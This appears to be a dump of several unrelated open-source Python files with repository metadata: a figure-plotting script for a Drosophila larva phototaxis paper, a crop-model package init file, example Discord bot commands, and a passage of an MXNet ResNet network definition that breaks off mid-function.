figure2_plot.py

arminbahl/drosophila_phototaxis_paper

e01dc95675f835926c9104b34bf6cfd7244dee2b

[ "MIT" ]

null

figure2_plot.py

arminbahl/drosophila_phototaxis_paper

e01dc95675f835926c9104b34bf6cfd7244dee2b

[ "MIT" ]

null

figure2_plot.py

arminbahl/drosophila_phototaxis_paper

e01dc95675f835926c9104b34bf6cfd7244dee2b

[ "MIT" ]

null

import pandas as pd from pathlib import Path import pylab as pl import my_figure as myfig from scipy.stats import ttest_ind, ttest_1samp import numpy as np from sklearn.linear_model import LinearRegression root_path = Path("/Users/arminbahl/Desktop/preprocessed data/maxwell_paper") # df = pd.read_hdf(root_path / "all_events.h5", key="results_figure2") # df_histogram_results = pd.read_hdf(root_path / "all_events.h5", key="results_figure2_histograms") # df_event_triggered_luminance = pd.read_hdf(root_path / "all_events.h5", key="event_triggered_luminance") df = pd.read_hdf(root_path / "all_events_model_profile1.h5", key="results_figure2") df_histogram_results = pd.read_hdf(root_path / "all_events_model_profile1.h5", key="results_figure2_histograms") df_event_triggered_luminance = pd.read_hdf(root_path / "all_events_model_profile1.h5", key="event_triggered_luminance") #df.to_excel(root_path / "all_events_figure2.xlsx", sheet_name="all_events_model.h5") #df.groupby("experiment_name").mean().to_excel(root_path / "all_events_model_figure2_experiment_mean.xlsx", sheet_name="all_data") fig = myfig.Figure(title="Figure 2") ########## p0 = myfig.Plot(fig, num='a', xpos=1.5, ypos=22, plot_height=0.75, plot_width=1.5, lw=1, pc='white', errorbar_area=False, xl="Turn angle (deg)", xmin=-181, xmax=181, xticks=[-180, -90, 0, 90, 180], yl="Probability", ymin=-0.001, ymax=0.012) df_selected = df_histogram_results.query("experiment_name == 'virtual_valley_stimulus_drosolarva' and histogram_type == 'angle_change'").reset_index(level=['experiment_name', 'histogram_type'], drop=True) myfig.Bar(p0, x=df_selected.index, y=df_selected["density"].values, lc='C0', lw=0, width=0.95*362/60) ########## p0 = myfig.Plot(fig, num='b', xpos=4.5, ypos=22, plot_height=0.75, plot_width=1.5, lw=1, pc='white', errorbar_area=False, xl="Run length (s)", xmin=-0.5, xmax=60.5, xticks=[0, 30, 60], yl="Probability", ymin=-0.001, ymax=0.06) df_selected = df_histogram_results.query("experiment_name == 'virtual_valley_stimulus_drosolarva' and histogram_type == 'run_length'").reset_index(level=['experiment_name', 'histogram_type'], drop=True) myfig.Bar(p0, x=df_selected.index, y=df_selected["density"].values, lc='C0', lw=0, width=0.95*61/60) ########## df_selected = df_histogram_results.query("experiment_name == 'virtual_valley_stimulus_drosolarva' and histogram_type == 'luminance_change_since_previous_turn_event'").reset_index(level=['experiment_name', 'histogram_type'], drop=True) p0 = myfig.Plot(fig, num='b', xpos=7.5, ypos=22, plot_height=0.75, plot_width=1.5, lw=1, pc='white', errorbar_area=False, xl="Brightness change during runs", xmin=-81, xmax=81, xticks=[-80, -40, 0, 40, 80], yl="Probability", ymin=-0.001, ymax=df_selected["density"].values.max()) myfig.Bar(p0, x=df_selected.index, y=df_selected["density"].values, lc='C0', lw=0, width=0.95*162/60) ########## df_selected = df_histogram_results.query("experiment_name == 'virtual_valley_stimulus_drosolarva' and histogram_type == 'luminance_change_during_current_turn_event'").reset_index(level=['experiment_name', 'histogram_type'], drop=True) p0 = myfig.Plot(fig, num='b', xpos=10.5, ypos=22, plot_height=0.75, plot_width=1.5, lw=1, pc='white', errorbar_area=False, xl="Brightness change during turns", xmin=-81, xmax=81, xticks=[-80, -40, 0, 40, 80], yl="Probability", ymin=-0.001, ymax=df_selected["density"].values.max()) myfig.Bar(p0, x=df_selected.index, y=df_selected["density"].values, lc='C0', lw=0, width=0.95*162/60) ########## p0 = myfig.Plot(fig, num='e', xpos=14, ypos=22, plot_height=2, plot_width=1.5, lw=1, pc='white', errorbar_area=True, hlines=[0], vlines=[0], xl="Time relative to turn event (s)", xmin=-21.5, xmax=21.5, xticks=[-20, -10, 0, 10, 20], yl="Brightness relative to turn event", ymin=-21, ymax=6, yticks=[-20, -10, 0]) myfig.Line(p0, x=df_event_triggered_luminance.index, y=df_event_triggered_luminance.means_experiment, yerr=df_event_triggered_luminance.sems_experiment, lc='C0', lw=0.5, zorder=1) myfig.Line(p0, x=df_event_triggered_luminance.index, y=df_event_triggered_luminance.means_control, yerr=df_event_triggered_luminance.sems_control, lc='gray', lw=0.5, zorder=1) ########## for experiment_name, x_pos, y_pos, color in [["virtual_valley_stimulus_drosolarva", 2, 19, "C0"], ["virtual_valley_stimulus_control_drosolarva", 2, 17, "gray"]]: p0 = myfig.Plot(fig, num='b', xpos=x_pos, ypos=y_pos, plot_height=1.25, plot_width=0.375*24, lw=1, pc='white', errorbar_area=False, xl="", xmin=-0.5, xmax=23.5, xticks=[0, 1, 2.5, 3.5], xticklabels=["Dark at current turn event", "Bright at current turn event", "Darkening since previous turn event", "Brightening since previous turn event"] if experiment_name == "virtual_valley_stimulus_control_drosolarva" else [""]*4, xticklabels_rotation=45, yl="Absolute angle change (°)", ymin=-5, ymax=65, yticks=[0, 30, 60]) for i in range(2): if i == 0: angle_change0 = df.query("experiment_name == @experiment_name")[f"angle_change_at_current_turn_event_if_dark_at_current_turn_event"] angle_change1 = df.query("experiment_name == @experiment_name")[f"angle_change_at_current_turn_event_if_bright_at_current_turn_event"] if i == 1: angle_change0 = df.query("experiment_name == @experiment_name")[f"angle_change_at_current_turn_event_if_darkening_since_previous_turn_event"] angle_change1 = df.query("experiment_name == @experiment_name")[f"angle_change_at_current_turn_event_if_brightening_since_previous_turn_event"] for j in range(len(angle_change0)): x1 = np.random.random() * 0.2 - 0.1 + [0, 1, 2.5, 3.5, 6, 7, 8.5, 9.5, 11, 12, 13.5, 14.5, 16, 17, 19.5, 20.5, 22, 23][i * 2] x2 = np.random.random() * 0.2 - 0.1 + [0, 1, 2.5, 3.5, 6, 7, 8.5, 9.5, 11, 12, 13.5, 14.5, 16, 17, 19.5, 20.5, 22, 23][i * 2 + 1] y1 = angle_change0[j] y2 = angle_change1[j] myfig.Line(p0, x=[x1, x2], y=[y1, y2], lc=color, lw=0.25, zorder=1, alpha=0.5) myfig.Scatter(p0, x=[x1], y=[y1], lc=color, pt='o', lw=0.25, ps=2, pc='white', zorder=2, alpha=0.5) myfig.Scatter(p0, x=[x2], y=[y2], lc=color, pt='o', lw=0.25, ps=2, pc='white', zorder=2, alpha=0.5) x1 = [0, 1, 2.5, 3.5][i * 2] x2 = [0, 1, 2.5, 3.5][i * 2 + 1] y1 = np.mean(angle_change0) y2 = np.mean(angle_change1) myfig.Line(p0, x=[x1, x2], y=[y1, y2], lc=color, lw=1, zorder=3, alpha=0.9) myfig.Line(p0, x=[x1, x2], y=[y1, y2], lc=color, lw=1, zorder=3, alpha=0.9) myfig.Scatter(p0, x=[x1, x2], y=[y1, y2], lc=color, pt='o', lw=0.25, ps=2, pc='white', zorder=4, alpha=0.9) p = ttest_1samp(angle_change0 - angle_change1, 0, nan_policy='omit')[1] print("Angle change statistical comparison", i, "Experiment", experiment_name, ": p = ", p, np.mean(angle_change0 - angle_change1), "n = ", len(angle_change0 - angle_change1)) myfig.Line(p0, x=[x1 + 0.1, x2 - 0.1], y=[55, 55], lc='black', lw=0.75) if p < 0.001: myfig.Text(p0, x1 + 0.5, 60, "***") elif p < 0.01: myfig.Text(p0, x1 + 0.5, 60, "**") elif p < 0.05: myfig.Text(p0, x1 + 0.5, 60, "*") else: myfig.Text(p0, x1 + 0.5, 60, "ns") ########## for experiment_name, x_pos, y_pos, color in [["virtual_valley_stimulus_drosolarva", 2, 11, 'C0'], ["virtual_valley_stimulus_control_drosolarva", 2, 9, "gray"]]: p0 = myfig.Plot(fig, num='b', xpos=x_pos, ypos=y_pos, plot_height=1.25, plot_width=0.375*24, lw=1, pc='white', errorbar_area=False, xl="", xmin=-0.5, xmax=23.5, xticks=[0, 1, 2.5, 3.5], xticklabels=["Dark at current turn event", "Bright at current turn event", "Darkening since previous turn event", "Brightening since previous turn event", ] if experiment_name == "virtual_valley_stimulus_control_drosolarva" else [""]*4, xticklabels_rotation=45, yl="Time since previous turn event (s)", ymin=-1, ymax=51, yticks=[0, 25, 50]) for i in range(2): if i == 0: run_length0 = df.query("experiment_name == @experiment_name")[f"time_since_previous_turn_event_at_current_turn_event_if_dark_at_current_turn_event"] run_length1 = df.query("experiment_name == @experiment_name")[f"time_since_previous_turn_event_at_current_turn_event_if_bright_at_current_turn_event"] if i == 1: run_length0 = df.query("experiment_name == @experiment_name")[f"time_since_previous_turn_event_at_current_turn_event_if_darkening_since_previous_turn_event"] run_length1 = df.query("experiment_name == @experiment_name")[f"time_since_previous_turn_event_at_current_turn_event_if_brightening_since_previous_turn_event"] for j in range(len(angle_change0)): x1 = np.random.random() * 0.2 - 0.1 + [0, 1, 2.5, 3.5][i * 2] x2 = np.random.random() * 0.2 - 0.1 + [0, 1, 2.5, 3.5][i * 2 + 1] y1 = run_length0[j] y2 = run_length1[j] myfig.Line(p0, x=[x1, x2], y=[y1, y2], lc=color, lw=0.25, zorder=1, alpha=0.5) myfig.Scatter(p0, x=[x1], y=[y1], lc=color, pt='o', lw=0.25, ps=1, pc='white', zorder=2, alpha=0.5) myfig.Scatter(p0, x=[x2], y=[y2], lc=color, pt='o', lw=0.25, ps=1, pc='white', zorder=2, alpha=0.5) x1 = [0, 1, 2.5, 3.5][i * 2] x2 = [0, 1, 2.5, 3.5][i * 2 + 1] y1 = np.mean(run_length0) y2 = np.mean(run_length1) myfig.Line(p0, x=[x1, x2], y=[y1, y2], lc=color, lw=1, zorder=3, alpha=0.9) myfig.Line(p0, x=[x1, x2], y=[y1, y2], lc=color, lw=1, zorder=3, alpha=0.9) myfig.Scatter(p0, x=[x1, x2], y=[y1, y2], lc=color, pt='o', lw=0.25, ps=2, pc='white', zorder=4, alpha=0.9) p = ttest_1samp(run_length0 - run_length1, 0, nan_policy='omit')[1] print("Run length statistical comparison", i, "Experiment", experiment_name, ": p = ", p, np.mean(run_length0 - run_length1), "n = ", len(run_length0 - run_length1)) myfig.Line(p0, x=[x1 + 0.1, x2 - 0.1], y=[50, 50], lc='black', lw=0.75) if p < 0.001: myfig.Text(p0, x1 + 0.5, 55, "***") elif p < 0.01: myfig.Text(p0, x1 + 0.5, 55, "**") elif p < 0.05: myfig.Text(p0, x1 + 0.5, 55, "*") else: myfig.Text(p0, x1 + 0.5, 55, "ns") # Luminance change ########## for experiment_name, x_pos, y_pos, color in [["virtual_valley_stimulus_drosolarva", 19, 19, "C0"], ["virtual_valley_stimulus_control_drosolarva", 19, 15, "gray"]]: p0 = myfig.Plot(fig, num='e', xpos=x_pos, ypos=y_pos, plot_height=1.25, plot_width=0.375*3, lw=1, pc='white', errorbar_area=False, xl="", xmin=-0.5, xmax=2.5, xticks=[0, 1, 2], xticklabels=["Since previous turn event", "During turn event", "kk"], xticklabels_rotation=45, yl="Absolute brightness change", ymin=-5, ymax=65, yticks=[0, 30, 60]) for j in range(len(df.query("experiment_name == @experiment_name"))): for i in range(2): if i == 0: luminance_change = df.query("experiment_name == @experiment_name")[f"luminance_change_since_previous_turn_event"] if i == 1: luminance_change = df.query("experiment_name == @experiment_name")[f"luminance_change_during_current_turn_event"] x = np.random.random() * 0.2 - 0.1 + i y = luminance_change[j] myfig.Scatter(p0, x=[x], y=[y], lc=color, pt='o', lw=0.5, ps=2, pc='white', zorder=2, alpha=0.5) if i > 0: myfig.Line(p0, x=[x, previous_x], y=[y, previous_y], lc=color, lw=0.5, zorder=1, alpha=0.5) previous_x = x previous_y = y for i in range(1): if i == 0: p = ttest_1samp(df.query("experiment_name == @experiment_name")[f"luminance_change_since_previous_turn_event"] - df.query("experiment_name == @experiment_name")[f"luminance_change_during_current_turn_event"], 0, nan_policy='omit')[1] myfig.Line(p0, x=[0.1 + i, 0.9 + i], y=[62, 62], lc='black', lw=0.75) if p < 0.001: myfig.Text(p0, 0.5 + i, 65, "***") elif p < 0.01: myfig.Text(p0, 0.5 + i, 65, "**") elif p < 0.05: myfig.Text(p0, 0.5 + i, 65, "*") else: myfig.Text(p0, 0.5 + i, 65, "ns") # The individual event analsis df = pd.read_hdf(root_path / "all_events_model_profile1.h5", key="all_events") #df = pd.read_hdf(root_path / "all_events.h5", key="all_events") for experiment_name in ["virtual_valley_stimulus_drosolarva", "virtual_valley_stimulus_control_drosolarva"]: if experiment_name == "virtual_valley_stimulus_drosolarva": ypos = 8 color = 'C0' else: ypos = 3 color = 'gray' df_selected = df.query("experiment_name == @experiment_name and time_at_current_turn_event > 15*60 and time_at_current_turn_event <= 60*60") df_selected.loc[:, "r_at_previous_turn_event"] = df_selected["r_at_current_turn_event"].shift(1).copy() df_selected.loc[:, "r_at_next_turn_event"] = df_selected["r_at_current_turn_event"].shift(-1).copy() df_selected = df_selected.query("r_at_current_turn_event < 5.9 and r_at_previous_turn_event < 5.9 and r_at_next_turn_event < 5.9") p0 = myfig.Plot(fig, num='b', xpos=10, ypos=ypos, plot_height=1.25, plot_width=2, lw=1, pc='white', errorbar_area=False, xl="Brightness", xmin=-5, xmax=181, xticks=[0, 90, 180], yl="Absolute turn angle", ymin=-1, ymax=41, yticks=[0, 20, 40]) df_selected1 = df_selected.query("angle_change_at_current_turn_event < 41 and " "angle_change_at_current_turn_event > -41 and " "luminance_at_current_turn_event < 181")[["luminance_at_current_turn_event", "angle_change_at_current_turn_event"]] myfig.Scatter(p0, x=df_selected1["luminance_at_current_turn_event"], y=df_selected1["angle_change_at_current_turn_event"].abs(), lc=None, lw=0, pt='.', ps=1, pc=color, zorder=4, alpha=0.3) bins = np.arange(0, 161, 40) vals = [] for bin in bins: df_ = df_selected1.query("luminance_at_current_turn_event < (@bin + 20) and luminance_at_current_turn_event > (@bin - 20)") vals.append(df_["angle_change_at_current_turn_event"].abs().median()) myfig.Scatter(p0, x=bins, y=vals, lw=0, pt='.', ps=12, pc=color, zorder=5) X_median = np.array(bins).reshape(-1, 1) Y_median = np.array(vals).reshape(-1, 1) X_raw = np.array(df_selected1["luminance_at_current_turn_event"]).reshape(-1, 1) Y_raw = np.array(df_selected1["angle_change_at_current_turn_event"].abs()).reshape(-1, 1) linear_regressor_median = LinearRegression() # create object for the class reg_median = linear_regressor_median.fit(X_median, Y_median) # perform linear regression Y_pred_median = linear_regressor_median.predict(X_median) # make predictions real_R_median = reg_median.score(X_median, Y_median) linear_regressor_raw = LinearRegression() # create object for the class reg_raw = linear_regressor_raw.fit(X_raw, Y_raw) # perform linear regression Y_pred_raw = linear_regressor_raw.predict(X_raw) # make predictions real_R_raw = reg_raw.score(X_raw, Y_raw) # Repeat this but with shuffled data Rs_shuffled_raw = [] Rs_shuffled_median = [] for shuffle_i in range(1000): df_selected_shuffled = df_selected1.apply(lambda df_selected1: df_selected1.sample(frac=1).values) bins = np.arange(0, 161, 40) vals = [] for bin in bins: df_ = df_selected_shuffled.query( "luminance_at_current_turn_event < (@bin + 20) and luminance_at_current_turn_event > (@bin - 20)") vals.append(df_["angle_change_at_current_turn_event"].abs().median()) X_shuffled_median = np.array(bins).reshape(-1, 1) Y_shuffled_median = np.array(vals).reshape(-1, 1) X_shuffled_raw = np.array(df_selected_shuffled["luminance_at_current_turn_event"]).reshape(-1, 1) Y_shuffled_raw = np.array(df_selected_shuffled["angle_change_at_current_turn_event"].abs()).reshape(-1, 1) linear_regressor_shuffled_median = LinearRegression() # create object for the class reg_shuffled_median = linear_regressor_shuffled_median.fit(X_shuffled_median, Y_shuffled_median) # perform linear regression Y_pred_shuffled_median = linear_regressor_shuffled_median.predict(X_shuffled_median) # make predictions real_R_shuffled_median = reg_shuffled_median.score(X_shuffled_median, Y_shuffled_median) linear_regressor_shuffled_raw = LinearRegression() # create object for the class reg_shuffled_raw = linear_regressor_shuffled_raw.fit(X_shuffled_raw, Y_shuffled_raw) # perform linear regression Y_pred_shuffled_raw = linear_regressor_shuffled_raw.predict(X_shuffled_raw) # make predictions real_R_shuffled_raw = reg_raw.score(X_shuffled_raw, Y_shuffled_raw) Rs_shuffled_median.append(real_R_shuffled_median) Rs_shuffled_raw.append(real_R_shuffled_raw) Rs_shuffled_median = np.array(Rs_shuffled_median) Rs_shuffled_raw = np.array(Rs_shuffled_raw) p_median = np.sum(Rs_shuffled_median > real_R_median)/len(Rs_shuffled_median) p_raw = np.sum(Rs_shuffled_raw > real_R_raw) / len(Rs_shuffled_raw) myfig.Line(p0, x=np.array([0, 180]), y=reg_median.coef_[0][0]*np.array([0, 180]) + reg_median.intercept_[0], lc=color, lw=0.5, zorder=6, label=f'R2 = {real_R_median:.3f}, p = {p_median:.3f}\ny = {reg_median.coef_[0][0]:.3f}*x + {reg_median.intercept_[0]:.2f}') myfig.Line(p0, x=np.array([0, 180]), y=reg_raw.coef_[0][0]*np.array([0, 180]) + reg_raw.intercept_[0], lc=color, dashes=(2,2), lw=0.5, zorder=6, label=f'R2 = {real_R_raw:.3f}, p = {p_raw:.3f}\ny = {reg_raw.coef_[0][0]:.3f}*x + {reg_raw.intercept_[0]:.2f}') ####### # The luminance change p0 = myfig.Plot(fig, num='b', xpos=16, ypos=ypos, plot_height=1.25, plot_width=2, lw=1, pc='white', errorbar_area=False, xl="Brightness change\nsince previous turn", xmin=-65, xmax=65, xticks=[-60, -30, 0, 30, 60], yl="Absolute turn angle", ymin=-1, ymax=41, yticks=[0, 20, 40]) df_selected1 = df_selected.query("luminance_change_since_previous_turn_event > -61 and " "luminance_change_since_previous_turn_event < 61 and " "angle_change_at_current_turn_event < 41 and " "angle_change_at_current_turn_event > -41")[["luminance_change_since_previous_turn_event", "angle_change_at_current_turn_event"]] linear_regressor = LinearRegression() # create object for the class myfig.Scatter(p0, x=df_selected1["luminance_change_since_previous_turn_event"], y=df_selected1["angle_change_at_current_turn_event"].abs(), lc=None, lw=0, pt='.', ps=1, pc=color, zorder=4, alpha=0.3) bins = np.arange(-60, 61, 30) vals = [] for bin in bins: df_ = df_selected1.query("luminance_change_since_previous_turn_event < (@bin + 15) and luminance_change_since_previous_turn_event > (@bin - 15)") vals.append(df_["angle_change_at_current_turn_event"].abs().median()) myfig.Scatter(p0, x=bins, y=vals, lw=0, pt='.', ps=12, pc=color, zorder=5) X_median = np.array(bins).reshape(-1, 1) Y_median = np.array(vals).reshape(-1, 1) X_raw = np.array(df_selected1["luminance_change_since_previous_turn_event"]).reshape(-1, 1) Y_raw = np.array(df_selected1["angle_change_at_current_turn_event"].abs()).reshape(-1, 1) linear_regressor_median = LinearRegression() # create object for the class reg_median = linear_regressor_median.fit(X_median, Y_median) # perform linear regression Y_pred_median = linear_regressor_median.predict(X_median) # make predictions real_R_median = reg_median.score(X_median, Y_median) linear_regressor_raw = LinearRegression() # create object for the class reg_raw = linear_regressor_raw.fit(X_raw, Y_raw) # perform linear regression Y_pred_raw = linear_regressor_raw.predict(X_raw) # make predictions real_R_raw = reg_raw.score(X_raw, Y_raw) # Repeat this but with shuffled data Rs_shuffled_raw = [] Rs_shuffled_median = [] for shuffle_i in range(1000): df_selected_shuffled = df_selected1.apply(lambda df_selected1: df_selected1.sample(frac=1).values) bins = np.arange(-60, 61, 30) vals = [] for bin in bins: df_ = df_selected_shuffled.query("luminance_change_since_previous_turn_event < (@bin + 15) and luminance_change_since_previous_turn_event > (@bin - 15)") vals.append(df_["angle_change_at_current_turn_event"].abs().median()) X_shuffled_median = np.array(bins).reshape(-1, 1) Y_shuffled_median = np.array(vals).reshape(-1, 1) X_shuffled_raw = np.array(df_selected_shuffled["luminance_change_since_previous_turn_event"]).reshape(-1, 1) Y_shuffled_raw = np.array(df_selected_shuffled["angle_change_at_current_turn_event"].abs()).reshape(-1, 1) linear_regressor_shuffled_median = LinearRegression() # create object for the class reg_shuffled_median = linear_regressor_shuffled_median.fit(X_shuffled_median, Y_shuffled_median) # perform linear regression Y_pred_shuffled_median = linear_regressor_shuffled_median.predict(X_shuffled_median) # make predictions real_R_shuffled_median = reg_shuffled_median.score(X_shuffled_median, Y_shuffled_median) linear_regressor_shuffled_raw = LinearRegression() # create object for the class reg_shuffled_raw = linear_regressor_shuffled_raw.fit(X_shuffled_raw, Y_shuffled_raw) # perform linear regression Y_pred_shuffled_raw = linear_regressor_shuffled_raw.predict(X_shuffled_raw) # make predictions real_R_shuffled_raw = reg_raw.score(X_shuffled_raw, Y_shuffled_raw) Rs_shuffled_median.append(real_R_shuffled_median) Rs_shuffled_raw.append(real_R_shuffled_raw) Rs_shuffled_median = np.array(Rs_shuffled_median) Rs_shuffled_raw = np.array(Rs_shuffled_raw) p_median = np.sum(Rs_shuffled_median > real_R_median) / len(Rs_shuffled_median) p_raw = np.sum(Rs_shuffled_raw > real_R_raw) / len(Rs_shuffled_raw) myfig.Line(p0, x=np.array([-61, 61]), y=reg_median.coef_[0][0] * np.array([-61, 61]) + reg_median.intercept_[0], lc='black', lw=0.5, zorder=6, label=f'R2 = {real_R_median:.3f}, p = {p_median:.3f}\ny = {reg_median.coef_[0][0]:.3f}*x + {reg_median.intercept_[0]:.2f}') myfig.Line(p0, x=np.array([-61, 61]), y=reg_raw.coef_[0][0] * np.array([-61, 61]) + reg_raw.intercept_[0], lc='black', dashes=(2, 2), lw=0.5, zorder=6, label=f'R2 = {real_R_raw:.3f}, p = {p_raw:.3f}\ny = {reg_raw.coef_[0][0]:.3f}*x + {reg_raw.intercept_[0]:.2f}') fig.savepdf(root_path / f"figure2_model_profile1", open_pdf=True)

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24,662

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55.420225

0.700744

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0.006369

0

null

0

1

0

null

0

6

4b0ce5a490a04b990f270b040b32dc932b4140c9

181

py

Python

main/pcse/crop/nutrients/__init__.py

jajberni/pcse_web

284b35270061fee61040f41df419cbf9eea32a2e

[ "Apache-2.0" ]

3

2017-09-19T10:38:50.000Z

2019-10-07T03:47:02.000Z

main/pcse/crop/nutrients/__init__.py

jajberni/pcse_web

284b35270061fee61040f41df419cbf9eea32a2e

[ "Apache-2.0" ]

null

main/pcse/crop/nutrients/__init__.py

jajberni/pcse_web

284b35270061fee61040f41df419cbf9eea32a2e

[ "Apache-2.0" ]

1

2019-10-31T01:11:06.000Z

from .npk_stress import NPK_Stress from .npk_demand_uptake import NPK_Demand_Uptake from .npk_translocation import NPK_Translocation from .npk_soil_dynamics import NPK_Soil_Dynamics

45.25

48

0.895028

28

181

5.357143

0.321429

0.186667

0.2

0

0.082873

181

4

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45.25

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null

0

1

0

1

0

1

0

6

d99ec45fe2e564b1d9b99285f9bce968bca3dee1

1,130

py

Python

examples/example_without_CommandSet/my_commands.py

LeConstellationniste/DiscordFramework

24d4b9b7cb0a21d3cec9d5362ab0828c5e15a3af

[ "CC0-1.0" ]

1

2021-01-27T14:55:03.000Z

examples/example_without_CommandSet/my_commands.py

LeConstellationniste/DiscordFramework

24d4b9b7cb0a21d3cec9d5362ab0828c5e15a3af

[ "CC0-1.0" ]

null

examples/example_without_CommandSet/my_commands.py

LeConstellationniste/DiscordFramework

24d4b9b7cb0a21d3cec9d5362ab0828c5e15a3af

[ "CC0-1.0" ]

null

import asyncio import discord # Just function to add to the bot async def hello(message): await message.channel.send(f"Hello {message.author.mention}!", reference=message.to_reference()) async def admin(message): await message.channel.send(f"Hello {message.author.mention}! You are administrator!", reference=message.to_reference()) async def product(message, a: int, b: int): await message.channel.send(f"`{a}*{b} = {a*b}`", reference=message.to_reference()) # Or Command create with this function from discordEasy.objects import Command, CommandAdmin async def hello(message): await message.channel.send(f"Hello {message.author.mention}!", reference=message.to_reference()) async def admin(message): await message.channel.send(f"Hello {message.author.mention}! You are administrator!", reference=message.to_reference()) async def product(message, a: int, b: int): await message.channel.send(f"`{a}*{b} = {a*b}`", reference=message.to_reference()) cmd_hello = Command(hello, name="Hello", aliases=("hello", "Hi", "hi")) cmd_admin = CommandAdmin(admin, name="Admin") cmd_product = Command(product, name="Product")

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161

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1

0

null

0

6

d9a34cde8f8fd485bd0bfabaa246df7d01603a41

32,869

py

Python

recognition/symbol/fresnet.py

zzdang/match_fashion

fb08b2f42d382a947b40bf197def85ea9ddd26af

[ "MIT" ]

4

2020-05-14T03:10:17.000Z

2021-07-07T03:10:22.000Z

recognition/symbol/fresnet.py

zzdang/match_fashion

fb08b2f42d382a947b40bf197def85ea9ddd26af

[ "MIT" ]

null

recognition/symbol/fresnet.py

zzdang/match_fashion

fb08b2f42d382a947b40bf197def85ea9ddd26af

[ "MIT" ]

null

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. ''' Adapted from https://github.com/tornadomeet/ResNet/blob/master/symbol_resnet.py Original author Wei Wu Implemented the following paper: Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun. "Identity Mappings in Deep Residual Networks" ''' from __future__ import absolute_import from __future__ import division from __future__ import print_function import sys import os import mxnet as mx import numpy as np import symbol_utils import memonger import sklearn sys.path.append(os.path.join(os.path.dirname(__file__), '..')) from sample_config import config def Conv(**kwargs): #name = kwargs.get('name') #_weight = mx.symbol.Variable(name+'_weight') #_bias = mx.symbol.Variable(name+'_bias', lr_mult=2.0, wd_mult=0.0) #body = mx.sym.Convolution(weight = _weight, bias = _bias, **kwargs) body = mx.sym.Convolution(**kwargs) return body def Act(data, act_type, name): if act_type=='prelu': body = mx.sym.LeakyReLU(data = data, act_type='prelu', name = name) else: body = mx.symbol.Activation(data=data, act_type=act_type, name=name) return body def residual_unit_v1(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs): """Return ResNet Unit symbol for building ResNet Parameters ---------- data : str Input data num_filter : int Number of output channels bnf : int Bottle neck channels factor with regard to num_filter stride : tuple Stride used in convolution dim_match : Boolean True means channel number between input and output is the same, otherwise means differ name : str Base name of the operators workspace : int Workspace used in convolution operator """ use_se = kwargs.get('version_se', 1) bn_mom = kwargs.get('bn_mom', 0.9) workspace = kwargs.get('workspace', 256) memonger = kwargs.get('memonger', False) act_type = kwargs.get('version_act', 'prelu') #print('in unit1') if bottle_neck: conv1 = Conv(data=data, num_filter=int(num_filter*0.25), kernel=(1,1), stride=stride, pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv1') bn1 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn1') act1 = Act(data=bn1, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_filter=int(num_filter*0.25), kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn2 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn2') act2 = Act(data=bn2, act_type=act_type, name=name + '_relu2') conv3 = Conv(data=act2, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv3') bn3 = mx.sym.BatchNorm(data=conv3, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn3') if use_se: #se begin body = mx.sym.Pooling(data=bn3, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn3 = mx.symbol.broadcast_mul(bn3, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return Act(data=bn3 + shortcut, act_type=act_type, name=name + '_relu3') else: conv1 = Conv(data=data, num_filter=num_filter, kernel=(3,3), stride=stride, pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv1') bn1 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_bn1') act1 = Act(data=bn1, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_filter=num_filter, kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn2 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_bn2') if use_se: #se begin body = mx.sym.Pooling(data=bn2, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn2 = mx.symbol.broadcast_mul(bn2, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return Act(data=bn2 